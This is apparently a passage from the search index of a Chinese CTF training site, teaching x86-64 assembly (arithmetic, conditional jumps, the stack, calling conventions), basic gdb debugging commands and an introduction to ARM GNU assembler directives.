\u8fd9\u79cd\u6307\u4ee4, \u8fd9\u4e9b\u6307\u4ee4\u770b\u8d77\u6765\u5f88\u5947\u602a, \u4f46\u5b9e\u9645\u4e0a\u8fd9\u662f\u7528\u4e8e\u4ece 32 \u4f4d\u6269\u5c55\u5230 64 \u4f4d. \u56e0\u4e3a\u8fd9\u4e2a\u662f\u9ed8\u8ba4\u7684, \u6240\u4ee5\u6211\u4eec\u4e0d\u7528\u663e\u5f0f\u7684 movzlq
\u6307\u4ee4. \u5f53\u7136, \u6709\u4e00\u4e2a movslq
\u6307\u4ee4\u4e5f\u662f\u4ece 32 \u4f4d\u7b26\u53f7\u6269\u5c55\u5230 64 \u4f4d.
cltq
\u6307\u4ee4\u662f\u4e00\u4e2a\u5728 %rax \u4e0a\u8fd0\u884c\u7684\u4e13\u7528\u79fb\u52a8\u6307\u4ee4. \u8fd9\u4e2a\u6ca1\u6709\u53c2\u6570\u7684\u6307\u4ee4\u5728 %rax \u4e0a\u8fdb\u884c\u7b26\u53f7\u6269\u5c55, \u6e90\u4f4d\u5bbd\u4e3a L, \u76ee\u6807\u4f4d\u5bbd\u4e3a q.
cltq ;\u5728 \uff05rax \u4e0a\u8fd0\u884c\uff0c\u5c06 4 \u5b57\u8282 src \u7b26\u53f7\u6269\u5c55\u4e3a 8 \u5b57\u8282 dst\uff0c\u7528\u4e8e movslq \uff05eax\uff0c\uff05rax\n
"},{"location":"Training/Material/Reverse/#_12","title":"\u7b97\u672f\u548c\u4f4d\u8fd0\u7b97","text":"\u4e8c\u8fdb\u5236\u7684\u8fd0\u7b97\u4e00\u822c\u662f\u4e24\u4e2a\u53c2\u6570, \u5176\u4e2d\u7b2c\u4e8c\u4e2a\u53c2\u6570\u65e2\u662f\u6211\u4eec\u6307\u4ee4\u8fd0\u7b97\u7684\u6765\u6e90, \u4e5f\u662f\u53bb\u8def\u7684\u6765\u6e90, \u5c31\u662f\u8bf4\u6211\u4eec\u628a\u8fd0\u7b97\u7ed3\u679c\u5b58\u5728\u7b2c\u4e8c\u4e2a\u53c2\u6570\u91cc. \u6211\u4eec\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u53ef\u4ee5\u662f\u7acb\u5373\u6570\u5e38\u6570, \u5bc4\u5b58\u5668\u6216\u8005\u5185\u5b58\u5355\u5143. \u7b2c\u4e8c\u4e2a\u53c2\u6570\u5fc5\u987b\u662f\u5bc4\u5b58\u5668\u6216\u8005\u5185\u5b58. \u8fd9\u4e24\u4e2a\u53c2\u6570\u4e2d, \u6700\u591a\u53ea\u6709\u4e00\u4e2a\u53c2\u6570\u662f\u5185\u5b58\u5355\u5143, \u5f53\u7136\u4e5f\u6709\u7684\u6307\u4ee4\u53ea\u6709\u4e00\u4e2a\u53c2\u6570, \u8fd9\u4e2a\u53c2\u6570\u65e2\u662f\u6211\u4eec\u8fd0\u7b97\u6570\u636e\u7684\u6765\u6e90, \u4e5f\u662f\u6211\u4eec\u8fd0\u7b97\u6570\u636e\u7684\u53bb\u8def, \u5b83\u53ef\u4ee5\u662f\u5bc4\u5b58\u5668\u6216\u8005\u5185\u5b58. \u8fd9\u4e2a\u6211\u4eec\u4e0a\u4e00\u8282\u8bb2\u4e86, \u8fd9\u91cc\u56de\u987e\u4e00\u4e0b. \u8bb8\u591a\u7b97\u672f\u6307\u4ee4\u7528\u4e8e\u6709\u7b26\u53f7\u548c\u65e0\u7b26\u53f7\u7c7b\u578b,\u4e5f\u5c31\u662f\u5e26\u7b26\u53f7\u52a0\u6cd5\u548c\u65e0\u7b26\u53f7\u52a0\u6cd5\u90fd\u4f7f\u7528\u76f8\u540c\u7684\u6307\u4ee4. \u5f53\u9700\u8981\u7684\u65f6\u5019, \u53c2\u6570\u8bbe\u7f6e\u7684\u6761\u4ef6\u4ee3\u7801\u53ef\u4ee5\u7528\u6765\u68c0\u6d4b\u4e0d\u540c\u7c7b\u578b\u7684\u6ea2\u51fa.
add src, dst ;dst = dst + src\nsub src, dst ;dst = dst - src\nimul src, dst ;dst = dst * src\nneg dst ;dst = -dst ( \u7b97\u672f\u53d6\u53cd )\n\nand src, dst ;dst = dst & src\nor src, dst ;dst = dst | src\nxor src, dst ;dst = dst ^ src\nnot dst ;dst = ~dst ( \u6309\u4f4d\u53d6\u53cd )\n\nshl count, dst ;dst <<= count ( \u6309 count \u7684\u503c\u6765\u5de6\u79fb ), \u8ddf\u8fd9\u4e2a\u76f8\u540c\u7684\u662f`sal`\u6307\u4ee4\nsar count, dst ;dst = count ( \u6309 count \u7684\u503c\u6765\u7b97\u672f\u53f3\u79fb )\nshr count, dst ;dst = count ( \u6309 count \u7684\u503c\u6765\u903b\u8f91\u53f3\u79fb )\n\n;\u67d0\u4e9b\u6307\u4ee4\u6709\u7279\u6b8a\u60c5\u51b5\u53d8\u4f53, \u8fd9\u4e9b\u53d8\u4f53\u6709\u4e0d\u540c\u7684\u53c2\u6570\nimul src ;\u4e00\u4e2a\u53c2\u6570\u7684 imul \u6307\u4ee4\u5047\u5b9a %rax \u4e2d\u5176\u4ed6\u53c2\u6570\u8ba1\u7b97 128 \u4f4d\u7684\u7ed3\u679c, \u5728 %rdx \u4e2d\u5b58\u50a8\u9ad8 64 \u4f4d, \u5728 %rax \u4e2d\u5b58\u50a8\u4f4e 64 \u4f4d.\nshl dst ;dst <<= 1 ( \u540e\u9762\u6ca1\u6709 count \u53c2\u6570\u7684\u65f6\u5019\u9ed8\u8ba4\u662f\u79fb\u52a8 1 \u4f4d, `sar`, `shr`, `sal` \u6307\u4ee4\u4e5f\u662f\u4e00\u6837 )\n
\u8fd9\u4e9b\u6307\u4ee4\u4e0a\u4e00\u8282\u90fd\u8bb2\u8fc7, \u8fd9\u91cc\u7a0d\u5fae\u63d0\u4e00\u4e0b.
"},{"location":"Training/Material/Reverse/#_13","title":"\u6d41\u7a0b\u63a7\u5236\u6307\u4ee4","text":"\u6709\u4e00\u4e2a\u7279\u6b8a\u7684 %eflags \u5bc4\u5b58\u5668, \u5b83\u5b58\u7740\u4e00\u7ec4\u88ab\u79f0\u4e3a\u6761\u4ef6\u4ee3\u7801\u7684\u5e03\u5c14\u6807\u5fd7. \u5927\u591a\u6570\u7684\u7b97\u672f\u8fd0\u7b97\u4f1a\u66f4\u65b0\u8fd9\u4e9b\u6761\u4ef6\u4ee3\u7801. \u6761\u4ef6\u8df3\u8f6c\u6307\u4ee4\u8bfb\u53d6\u8fd9\u4e9b\u6761\u4ef6\u4ee3\u7801\u4e4b\u540e, \u518d\u786e\u5b9a\u662f\u5426\u6267\u884c\u76f8\u5e94\u7684\u5206\u652f\u6307\u4ee4. \u6761\u4ef6\u4ee3\u7801\u5305\u62ec ZF( \u96f6\u6807\u5fd7 ), SF( \u7b26\u53f7\u6807\u5fd7 ), OF( \u6ea2\u51fa\u6807\u5fd7, \u6709\u7b26\u53f7 ) \u548c CF( \u8fdb\u4f4d\u6807\u5fd7, \u65e0\u7b26\u53f7 ). \u4f8b\u5982, \u5982\u679c\u7ed3\u679c\u4e3a 0 , \u5219\u8bbe\u7f6e ZF, \u5982\u679c\u64cd\u4f5c\u6ea2\u51fa ( \u8fdb\u5165\u7b26\u53f7\u4f4d ), \u5219\u8bbe\u7f6e OF.
\u8fd9\u4e9b\u6307\u4ee4\u4e00\u822c\u662f\u5148\u6267\u884c cmp
\u6216 test
\u64cd\u4f5c\u6765\u8bbe\u7f6e\u6807\u5fd7, \u7136\u540e\u518d\u8ddf\u8df3\u8f6c\u6307\u4ee4\u53d8\u91cf, \u8be5\u53d8\u91cf\u8bfb\u53d6\u6807\u5fd7\u6765\u786e\u5b9a\u662f\u91c7\u7528\u5206\u652f\u4ee3\u7801\u8fd8\u662f\u7ee7\u7eed\u4e0b\u4e00\u6761\u4ee3\u7801. cmp
\u6216 test
\u7684\u53c2\u6570\u662f\u7acb\u5373\u6570, \u5bc4\u5b58\u5668\u6216\u8005\u5185\u5b58\u5355\u5143 ( \u6700\u591a\u53ea\u6709\u4e00\u4e2a\u5185\u5b58\u53c2\u6570 ). \u6761\u4ef6\u8df3\u8f6c\u6709 32 \u4e2d\u53d8\u4f53, \u5176\u4e2d\u51e0\u79cd\u6548\u679c\u662f\u4e00\u6837\u7684. \u4e0b\u9762\u662f\u4e00\u4e9b\u5206\u652f\u6307\u4ee4.
cmpl op2, op1 ;\u8fd0\u7b97\u7ed3\u679c = op1 - op2, \u4e22\u5f03\u7ed3\u679c\u7136\u540e\u8bbe\u7f6e\u6761\u4ef6\u4ee3\u7801\ntest op2, op1 ;\u8fd0\u7b97\u7ed3\u679c = op1 & op2, \u4e22\u5f03\u7ed3\u679c\u7136\u540e\u8bbe\u7f6e\u6761\u4ef6\u4ee3\u7801\n\njmp target ;\u65e0\u6761\u4ef6\u8df3\u8dc3\nje target ;\u7b49\u4e8e\u65f6\u8df3\u8dc3, \u548c\u5b83\u76f8\u540c\u7684\u8fd8\u6709 jz, \u5373jump zero ( ZF = 1 )\njne target ;\u4e0d\u76f8\u7b49\u65f6\u8df3\u8dc3, \u548c\u5b83\u76f8\u540c\u7684\u8fd8\u6709 jnz, \u5373 jump non zero ( ZF = 0 )\njl target ;\u5c0f\u4e8e\u65f6\u8df3\u8dc3, \u548c\u5b83\u76f8\u540c\u7684\u8fd8\u6709 jnge, \u5373 jump not greater or equal ( SF != OF ) \njle target ;\u5c0f\u4e8e\u7b49\u4e8e\u65f6\u8df3\u8dc3, \u548c\u5b83\u76f8\u540c\u7684\u8fd8\u6709 jng, \u5373 jump not greater ( ZF = 1 or SF != OF )\njg target ;\u5927\u4e8e\u65f6\u8df3\u8dc3, \u548c\u5b83\u76f8\u540c\u7684\u8fd8\u6709 jnle, \u5373 jump not less or equal ( ZF = 0 and SF = OF )\njge target ;\u5927\u4e8e\u7b49\u4e8e\u65f6\u8df3\u8dc3, \u548c\u5b83\u76f8\u540c\u7684\u8fd8\u6709 jnl, \u5373 jump not less ( SF = OF )\nja target ;\u8df3\u5230\u4e0a\u9762, \u548c\u5b83\u76f8\u540c\u7684\u8fd8\u6709 jnbe, \u5373 jump not below or equal ( CF = 0 and ZF = 0 )\njb target ;\u8df3\u5230\u4e0b\u9762, \u548c\u5b83\u76f8\u540c\u7684\u8fd8\u6709 jnae, \u5373 jump not above or equal ( CF = 1 )\njs target ;SF = 1 \u65f6\u8df3\u8dc3\njns target ;SF = 0 \u65f6\u8df3\u8dc3\n
\u5176\u5b9e\u4f60\u4e5f\u4f1a\u53d1\u73b0\u8fd9\u91cc\u5927\u90e8\u5206\u4e0a\u4e00\u8282\u90fd\u8bb2\u8fc7, \u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u518d\u6765\u4e00\u904d\u5de9\u56fa\u4e00\u4e0b.
"},{"location":"Training/Material/Reverse/#setxmovx","title":"setx
\u548cmovx
","text":"\u8fd8\u6709\u4e24\u4e2a\u6307\u4ee4\u5bb6\u65cf\u53ef\u4ee5 \u8bfb\u53d6/\u54cd\u5e94 \u5f53\u524d\u7684\u6761\u4ef6\u4ee3\u7801. setx
\u6307\u4ee4\u6839\u636e\u6761\u4ef6 x \u7684\u72b6\u6001\u5c06\u76ee\u6807\u5bc4\u5b58\u5668\u8bbe\u7f6e\u4e3a 0 \u6216 1. cmovx
\u6307\u4ee4\u6839\u636e\u6761\u4ef6 x \u662f\u5426\u6210\u7acb\u6765\u6709\u6761\u4ef6\u5730\u6267\u884c mov. x \u662f\u4efb\u4f55\u6761\u4ef6\u53d8\u91cf\u7684\u5360\u4f4d\u7b26, \u5c31\u662f\u8bf4 x \u53ef\u4ee5\u7528\u8fd9\u4e9b\u6765\u4ee3\u66ff : e, ne, s, ns. \u5b83\u4eec\u7684\u610f\u601d\u4e0a\u9762\u4e5f\u90fd\u8bf4\u8fc7\u4e86.
sete dst ;\u6839\u636e \u96f6/\u76f8\u7b49( zero/equal ) \u6761\u4ef6\u6765\u628a dst \u8bbe\u7f6e\u6210 0 \u6216 1\nsetge dst ;\u6839\u636e \u5927\u4e8e/\u76f8\u7b49( greater/equal ) \u6761\u4ef6\u6765\u628a dst \u8bbe\u7f6e\u6210 0 \u6216 1\ncmovns src, dst ;\u5982\u679c ns \u6761\u4ef6\u6210\u7acb, \u5219\u7ee7\u7eed\u6267\u884c mov\ncmovle src, dst ;\u5982\u679c le \u6761\u4ef6\u6210\u7acb, \u5219\u7ee7\u7eed\u6267\u884c mov\n
\u5bf9\u4e8e setx
\u6307\u4ee4, \u5176\u76ee\u6807\u5fc5\u987b\u662f\u5355\u5b57\u8282\u5bc4\u5b58\u5668 ( \u4f8b\u5982 %al \u7528\u4e8e %rax \u7684\u4f4e\u5b57\u8282 ). \u5bf9\u4e8e cmovx
\u6307\u4ee4, \u5176\u6765\u6e90\u548c\u53bb\u8def\u90fd\u5fc5\u987b\u662f\u5bc4\u5b58\u5668.
%rsp \u5bc4\u5b58\u5668\u7528\u4f5c \" \u6808\u6307\u9488 \"; push
\u548c pop
\u7528\u4e8e\u6dfb\u52a0\u6216\u8005\u5220\u9664\u6808\u5185\u5b58\u4e2d\u7684\u503c. push
\u6307\u4ee4\u53ea\u6709\u4e00\u4e2a\u53c2\u6570, \u8fd9\u4e2a\u53c2\u6570\u662f\u7acb\u5373\u6570\u5e38\u6570, \u5bc4\u5b58\u5668\u6216\u5185\u5b58\u5355\u5143. push
\u6307\u4ee4\u5148\u628a %rsp \u7684\u503c\u9012\u51cf, \u7136\u540e\u5c06\u53c2\u6570\u590d\u5236\u5230\u6808\u5185\u5b58\u4e0a\u7684 tompost. pop
\u6307\u4ee4\u4e5f\u53ea\u6709\u4e00\u4e2a\u53c2\u6570, \u5373\u76ee\u6807\u5bc4\u5b58\u5668. pop
\u5148\u628a\u6808\u5185\u5b58\u6700\u9876\u5c42\u7684\u503c\u590d\u5236\u5230\u76ee\u6807\u5bc4\u5b58\u5668, \u7136\u540e\u628a %rsp \u9012\u589e. \u76f4\u63a5\u8c03\u6574 %rsp, \u4ee5\u901a\u8fc7\u5355\u4e2a\u53c2\u6570\u6dfb\u52a0\u6216\u5220\u9664\u6574\u4e2a\u6570\u7ec4\u6216\u53d8\u91cf\u96c6\u5408\u4e5f\u662f\u53ef\u4ee5\u7684. \u4f46\u6ce8\u610f, \u6808\u5185\u5b58\u662f\u671d\u4e0b\u589e\u957f ( \u5373\u671d\u5411\u8f83\u4f4e\u5730\u5740 ).
push %rbx ;\u628a %rbx \u5165\u6808\npushq $0x3 ;\u628a\u7acb\u5373\u6570 3 \u5165\u6808\nsub $0x10, %rsp ;\u8c03\u6574\u6808\u6307\u9488\u4ee5\u7a7a\u51fa 16 \u5b57\u8282\n\npop %rax ;\u628a\u6808\u4e2d\u6700\u9876\u5c42\u7684\u503c\u51fa\u6808\u5230\u5bc4\u5b58\u5668 %rax \u4e2d\nadd $0x10, %rsp ;\u8c03\u6574\u6808\u6307\u9488\u4ee5\u5220\u9664\u6700\u9876\u5c42\u7684 16 \u4e2a\u5b57\u8282\n
\u51fd\u6570\u4e4b\u95f4\u662f\u901a\u8fc7\u4e92\u76f8\u8c03\u7528\u8fd4\u56de\u6765\u4e92\u76f8\u63a7\u5236\u7684. callq
\u6307\u4ee4\u6709\u4e00\u4e2a\u53c2\u6570, \u5373\u88ab\u8c03\u7528\u7684\u51fd\u6570\u7684\u5730\u5740. \u5b83\u5c06\u8fd4\u56de\u6765\u7684\u5730\u5740\u5165\u6808, \u8fd9\u4e2a\u8fd4\u56de\u6765\u7684\u5730\u5740\u5373 %rip \u5f53\u524d\u7684\u503c, \u4e5f\u5373\u662f\u8c03\u7528\u51fd\u6570\u540e\u7684\u4e0b\u4e00\u6761\u6307\u4ee4. \u7136\u540e\u8fd9\u4e2a\u6307\u4ee4\u8ba9\u7a0b\u5e8f\u8df3\u8f6c\u5230\u88ab\u8c03\u7528\u7684\u51fd\u6570\u7684\u5730\u5740. retq
\u6307\u4ee4\u628a\u521a\u624d\u5165\u6808\u7684\u5730\u5740\u7ed9\u51fa\u6808, \u8ba9\u5b83\u56de\u5230 %rip \u4e2d, \u4ece\u800c\u8ba9\u7a0b\u5e8f\u5728\u4fdd\u5b58\u7684\u8fd4\u56de\u5730\u5740\u5904\u91cd\u65b0\u5f00\u59cb, \u5c31\u662f\u8bf4\u4f60\u4e2d\u9014\u8df3\u5230\u522b\u7684\u5730\u65b9\u53bb, \u4f60\u56de\u6765\u7684\u65f6\u5019\u8981\u4ece\u4f60\u8df3\u7684\u90a3\u4e2a\u5730\u65b9\u91cd\u65b0\u5f00\u59cb.
\u5f53\u7136, \u4f60\u5982\u679c\u8981\u8bbe\u7f6e\u8fd9\u79cd\u51fd\u6570\u95f4\u7684\u4e92\u76f8\u8c03\u7528, \u8c03\u7528\u8005\u9700\u8981\u5c06\u524d\u516d\u4e2a\u53c2\u6570\u653e\u5165\u5bc4\u5b58\u5668 %rdi, %rsi, %rdx, %rcx, %r8 \u548c %r9 ( \u4efb\u4f55\u5176\u5b83\u53c2\u6570\u90fd\u5165\u6808 ), \u7136\u540e\u518d\u6267\u884c\u8c03\u7528\u6307\u4ee4.
mov $0x3, %rdi ;\u7b2c\u4e00\u4e2a\u53c2\u6570\u5728 %rdi \u4e2d\nmov $0x7, %rsi ;\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5728 %rsi \u4e2d\ncallq binky ;\u628a\u7a0b\u5e8f\u4ea4\u7ed9 binky \u63a7\u5236\n
\u5f53\u88ab\u8c03\u7528\u8005\u90a3\u4e2a\u51fd\u6570\u5b8c\u4e8b\u7684\u65f6\u5019, \u8fd9\u4e2a\u51fd\u6570\u5c06\u8fd4\u56de\u503c ( \u5982\u679c\u6709\u7684\u8bdd ) \u5199\u5165 %rax, \u7136\u540e\u6e05\u7406\u6808\u5185\u5b58, \u5e76\u4f7f\u7528 retq
\u6307\u4ee4\u628a\u7a0b\u5e8f\u63a7\u5236\u6743\u4ea4\u8fd8\u7ed9\u8c03\u7528\u8005.
mov $0x0, %eax ;\u5c06\u8fd4\u56de\u503c\u5199\u5165 %rax\nadd $0x10, %rsp ;\u6e05\u7406\u6808\u5185\u5b58\nretq ;\u4ea4\u8fd8\u63a7\u5236\u6743, \u8df3\u56de\u53bb\n
\u8fd9\u4e9b\u5206\u652f\u8df3\u8f6c\u6307\u4ee4\u7684\u76ee\u6807\u901a\u5e38\u662f\u5728\u7f16\u8bd1\u65f6\u786e\u5b9a\u7684\u7edd\u5bf9\u5730\u5740. \u4f46\u662f, \u6709\u4e9b\u60c5\u51b5\u4e0b\u76f4\u5230\u8fd0\u884c\u7a0b\u5e8f\u7684\u65f6\u5019, \u6211\u4eec\u624d\u77e5\u9053\u76ee\u6807\u7684\u7edd\u5bf9\u5185\u5b58\u5730\u5740. \u4f8b\u5982\u7f16\u8bd1\u4e3a\u8df3\u8f6c\u8868\u7684 switch \u8bed\u53e5\u6216\u8c03\u7528\u51fd\u6570\u6307\u9488\u65f6. \u5bf9\u4e8e\u8fd9\u4e9b, \u6211\u4eec\u5148\u8ba1\u7b97\u76ee\u6807\u5730\u5740, \u7136\u540e\u628a\u5730\u5740\u5b58\u5230\u5bc4\u5b58\u5668\u4e2d, \u7136\u540e\u7528 \u5206\u652f/\u8c03\u7528( branch/call ) \u53d8\u91cf je *%rax
\u6216 callq *%rax
\u4ece\u6307\u5b9a\u5bc4\u5b58\u5668\u4e2d\u8bfb\u53d6\u76ee\u6807\u5730\u5740.
\u5f53\u7136\u8fd8\u6709\u66f4\u7b80\u5355\u7684\u65b9\u6cd5, \u5c31\u662f\u4e0a\u4e00\u8282\u8bb2\u7684\u6253\u6807\u7b7e.
"},{"location":"Training/Material/Reverse/#345-gdb","title":"3.4.5 \u6c47\u7f16\u548c gdb","text":"\u8c03\u8bd5\u5668 ( debugger ) \u6709\u8bb8\u591a\u529f\u80fd, \u8fd9\u53ef\u4ee5\u8ba9\u4f60\u53ef\u4ee5\u5728\u7a0b\u5e8f\u4e2d\u8ffd\u8e2a\u548c\u8c03\u8bd5\u4ee3\u7801. \u4f60\u53ef\u4ee5\u901a\u8fc7\u5728\u5176\u540d\u79f0\u4e0a\u52a0\u4e2a $ \u6765\u6253\u5370\u5bc4\u5b58\u5668\u4e2d\u7684\u503c, \u6216\u8005\u4f7f\u7528\u547d\u4ee4 info reg \u8f6c\u50a8\u6240\u6709\u5bc4\u5b58\u5668\u7684\u503c :
(gdb) p $rsp\n(gdb) info reg\n
disassemble
\u547d\u4ee4\u6309\u7167\u540d\u79f0\u6253\u5370\u51fd\u6570\u7684\u53cd\u6c47\u7f16. x
\u547d\u4ee4\u652f\u6301 i \u683c\u5f0f, \u8fd9\u4e2a\u683c\u5f0f\u628a\u5185\u5b58\u5730\u5740\u7684\u5185\u5bb9\u89e3\u91ca\u4e3a\u7f16\u7801\u6307\u4ee4 ( \u89e3\u7801 ).
(gdb) disassemble main //\u53cd\u6c47\u7f16, \u7136\u540e\u6253\u5370\u6240\u6709 main \u51fd\u6570\u7684\u6307\u4ee4\n(gdb) x/8i main //\u53cd\u6c47\u7f16, \u7136\u540e\u6253\u5370\u5f00\u59cb\u7684 8 \u6761\u6307\u4ee4\n
\u4f60\u53ef\u4ee5\u901a\u8fc7\u5728\u51fd\u6570\u4e2d\u7684\u76f4\u63a5\u5730\u5740\u6216\u504f\u79fb\u91cf\u4e3a\u7279\u5b9a\u6c47\u7f16\u6307\u4ee4\u8bbe\u7f6e\u65ad\u70b9.
(gdb) b *0x08048375\n(gdb) b *main+7 //\u5728 main+7\u4e2a\u5b57\u8282\u8fd9\u91cc\u8bbe\u7f6e\u65ad\u70b9\n
\u4f60\u53ef\u4ee5\u7528 stepi
\u548c nexti
\u547d\u4ee4\u6765\u8ba9\u7a0b\u5e8f\u901a\u8fc7\u6307\u4ee4 ( \u800c\u4e0d\u662f\u6e90\u4ee3\u7801 ) \u5f80\u524d\u6267\u884c.
(gdb) stepi\n(gdb) nexti\n
"},{"location":"Training/Material/Reverse/#35-arm","title":"3.5 ARM\u6c47\u7f16\u57fa\u7840","text":""},{"location":"Training/Material/Reverse/#351","title":"3.5.1 \u5f15\u8a00","text":"\u672c\u7ae0\u6240\u8bb2\u8ff0\u7684\u662f\u5728 GNU \u6c47\u7f16\u7a0b\u5e8f\u4e0b\u7684 ARM \u6c47\u7f16\u5feb\u901f\u6307\u5357\uff0c\u800c\u6240\u6709\u7684\u4ee3\u7801\u793a\u4f8b\u90fd\u4f1a\u91c7\u7528\u4e0b\u9762\u7684\u7ed3\u6784\uff1a
[< \u6807\u7b7e label :] {<\u6307\u4ee4 instruction or directive } @ \u6ce8\u91ca comment\n
\u5728 GNU \u7a0b\u5e8f\u4e2d\u4e0d\u9700\u8981\u7f29\u8fdb\u6307\u4ee4\u3002\u7a0b\u5e8f\u7684\u6807\u7b7e\u662f\u7531\u5192\u53f7\u8bc6\u522b\u800c\u4e0e\u6240\u5904\u7684\u4f4d\u7f6e\u65e0\u5173\u3002 \u5c31\u901a\u8fc7\u4e00\u4e2a\u7b80\u5355\u7684\u7a0b\u5e8f\u6765\u4ecb\u7ecd\uff1a
.section .text, \"x\"\n.global add @\u7ed9\u7b26\u53f7\u6dfb\u52a0\u5916\u90e8\u94fe\u63a5\nadd:\n ADD r0, r0, r1 @\u6dfb\u52a0\u8f93\u5165\u53c2\u6570\n MOV pc, lr @\u4ece\u5b50\u7a0b\u5e8f\u8fd4\u56de\n @\u7a0b\u5e8f\u7ed3\u675f\n
\u5b83\u5b9a\u4e49\u7684\u662f\u4e00\u4e2a\u8fd4\u56de\u603b\u548c\u51fd\u6570 \u201c add \u201d\uff0c\u5141\u8bb8\u4e24\u4e2a\u8f93\u5165\u53c2\u6570\u3002\u901a\u8fc7\u4e86\u89e3\u8fd9\u4e2a\u7a0b\u5e8f\u5b9e\u4f8b\uff0c\u60f3\u5fc5\u63a5\u4e0b\u6765\u8fd9\u7c7b\u7a0b\u5e8f\u7684\u7406\u89e3\u6211\u4eec\u4e5f\u80fd\u591f\u5f88\u597d\u7684\u7684\u638c\u63e1\u3002
"},{"location":"Training/Material/Reverse/#352-arm-gnu","title":"3.5.2 ARM \u7684 GNU \u6c47\u7f16\u7a0b\u5e8f\u6307\u4ee4\u8868","text":"\u5728 GNU \u6c47\u7f16\u7a0b\u5e8f\u4e0b\u7684 ARM \u6307\u4ee4\u96c6\u6db5\u62ec\u5982\u4e0b\uff1a
GUN \u6c47\u7f16\u7a0b\u5e8f\u6307\u4ee4 \u63cf\u8ff0.ascii \"<string>\"
\u5c06\u5b57\u7b26\u4e32\u4f5c\u4e3a\u6570\u636e\u63d2\u5165\u5230\u7a0b\u5e8f\u4e2d .asciz \"<string>\"
\u4e0e .ascii \u7c7b\u4f3c\uff0c\u4f46\u8ddf\u968f\u5b57\u7b26\u4e32\u7684\u96f6\u5b57\u8282 .balign <power_of_2> {,<fill_value>{,<max_padding>} }
\u5c06\u5730\u5740\u4e0e <power_of_2>
\u5b57\u8282\u5bf9\u9f50\u3002 \u6c47\u7f16\u7a0b\u5e8f\u901a\u8fc7\u6dfb\u52a0\u503c <fill_value>
\u7684\u5b57\u8282\u6216\u5408\u9002\u7684\u9ed8\u8ba4\u503c\u6765\u5bf9\u9f50. \u5982\u679c\u9700\u8981\u8d85\u8fc7 <max_padding>
\u8fd9\u4e2a\u6570\u5b57\u6765\u586b\u5145\u5b57\u8282\uff0c\u5219\u4e0d\u4f1a\u53d1\u751f\u5bf9\u9f50\uff08 \u7c7b\u4f3c\u4e8earmasm \u4e2d\u7684 ALIGN \uff09 .byte <byte1> {,<byte2> } \u2026
\u5c06\u4e00\u4e2a\u5b57\u8282\u503c\u5217\u8868\u4f5c\u4e3a\u6570\u636e\u63d2\u5165\u5230\u7a0b\u5e8f\u4e2d .code <number_of_bits>
\u4ee5\u4f4d\u4e3a\u5355\u4f4d\u8bbe\u7f6e\u6307\u4ee4\u5bbd\u5ea6\u3002 \u4f7f\u7528 16 \u8868\u793a Thumb\uff0c32 \u8868\u793a ARM \u7a0b\u5e8f\uff08 \u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 CODE16 \u548c CODE32 \uff09 .else
\u4e0e.if\u548c .endif \u4e00\u8d77\u4f7f\u7528\uff08 \u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 ELSE \uff09 .end
\u6807\u8bb0\u7a0b\u5e8f\u6587\u4ef6\u7684\u7ed3\u5c3e\uff08 \u901a\u5e38\u7701\u7565 \uff09 .endif
\u7ed3\u675f\u6761\u4ef6\u7f16\u8bd1\u4ee3\u7801\u5757 - \u53c2\u89c1.if\uff0c.ifdef\uff0c.ifndef\uff08 \u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 ENDIF \uff09 .endm
\u7ed3\u675f\u5b8f\u5b9a\u4e49 - \u8bf7\u53c2\u9605 .macro\uff08 \u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 MEND \uff09 .endr
\u7ed3\u675f\u91cd\u590d\u5faa\u73af - \u53c2\u89c1 .rept \u548c .irp\uff08\u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 WEND \uff09 .equ <symbol name>, <vallue>
\u8be5\u6307\u4ee4\u8bbe\u7f6e\u7b26\u53f7\u7684\u503c\uff08 \u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 EQU \uff09 .err
\u8fd9\u4e2a\u4f1a\u5bfc\u81f4\u7a0b\u5e8f\u505c\u6b62\u5e76\u51fa\u73b0\u9519\u8bef .exitm
\u4e2d\u9014\u9000\u51fa\u4e00\u4e2a\u5b8f - \u53c2\u89c1 .macro\uff08 \u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 MEXIT \uff09 .global <symbol>
\u8be5\u6307\u4ee4\u7ed9\u51fa\u7b26\u53f7\u5916\u90e8\u94fe\u63a5\uff08 \u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 MEXIT \uff09\u3002 .hword <short1> {,<short2> }...
\u5c0616\u4f4d\u503c\u5217\u8868\u4f5c\u4e3a\u6570\u636e\u63d2\u5165\u5230\u7a0b\u5e8f\u4e2d\uff08 \u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 DCW \uff09 .if <logical_expression>
\u628a\u4e00\u6bb5\u4ee3\u7801\u53d8\u6210\u524d\u63d0\u6761\u4ef6\u3002 \u4f7f\u7528 .endif \u7ed3\u675f\u4ee3\u7801\u5757\uff08 \u7c7b\u4f3c\u4e8e armasm\u4e2d\u7684 IF \uff09\u3002 \u53e6\u89c1 .else .ifdef <symbol>
\u5982\u679c\u5b9a\u4e49\u4e86 <symbol>
\uff0c\u5219\u5305\u542b\u4e00\u6bb5\u4ee3\u7801\u3002 \u7ed3\u675f\u4ee3\u7801\u5757\u7528 .endif, \u8fd9\u5c31\u662f\u4e2a\u6761\u4ef6\u5224\u65ad\u561b, \u5f88\u7b80\u5355\u7684. .ifndef <symbol>
\u5982\u679c\u672a\u5b9a\u4e49 <symbol>
\uff0c\u5219\u5305\u542b\u4e00\u6bb5\u4ee3\u7801\u3002 \u7ed3\u675f\u4ee3\u7801\u5757\u7528 .endif, \u540c\u4e0a. .include \"<filename>\"
\u5305\u62ec\u6307\u5b9a\u7684\u6e90\u6587\u4ef6, \u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 INCLUDE \u6216 C \u4e2d\u7684#include .irp <param> {,<val 1>} {,<val_2>} ...
\u4e3a\u503c\u5217\u8868\u4e2d\u7684\u6bcf\u4e2a\u503c\u91cd\u590d\u4e00\u6b21\u4ee3\u7801\u5757\u3002 \u4f7f\u7528 .endr \u6307\u4ee4\u6807\u8bb0\u5757\u7684\u7ed3\u5c3e\u3002 \u5728\u91cc\u9762\u91cd\u590d\u4ee3\u7801\u5757\uff0c\u4f7f\u7528 \\<param>
